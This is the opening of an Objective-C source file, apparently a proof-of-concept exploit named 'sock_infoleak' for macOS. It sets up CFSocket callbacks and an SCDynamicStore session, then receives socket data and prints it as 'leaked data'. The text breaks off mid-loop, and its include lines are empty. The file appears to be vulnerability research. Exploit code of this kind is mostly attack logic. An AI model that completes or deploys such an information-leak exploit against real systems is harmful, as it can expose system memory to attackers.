// // main.m // sock_infoleak // // Created by maldiohead on 2018/12/23. // Copyright © 2018 maldiohead. All rights reserved. // #import #include #include #include #include #include #include #import #import #include #include #include int so; CFSocketRef sockref; void socket_callback(CFSocketRef s, CFSocketCallBackType type, CFDataRef address, const void *data, void *info) { return; } static Boolean initialize_store(void) { SCDynamicStoreRef store = SCDynamicStoreCreate(NULL, CFSTR("Kernel Event Monitor plug-in"), NULL, NULL); if (store == NULL) { NSLog(@"[!]SCDynamicStoreCreate() failed: %s", SCErrorString(SCError())); return (FALSE); } return (TRUE); } void func() { CFStringCreateWithFormat(0LL, 0LL, CFSTR("")); } void callback(CFNotificationCenterRef center, void *observer, CFNotificationName name, const void *object, CFDictionaryRef userInfo) { return; } void SocketCallBack(CFSocketRef s, CFSocketCallBackType type, CFDataRef address, const void *data, void *info) { CFSocketNativeHandle handle= CFSocketGetNative(sockref); uint8_t buf[0x830]={0}; int retsize= recv(handle, &buf, 0x830uLL, 0); if(retsize==0) return; printf("[#]got!,leaked data:"); for(int i=0;i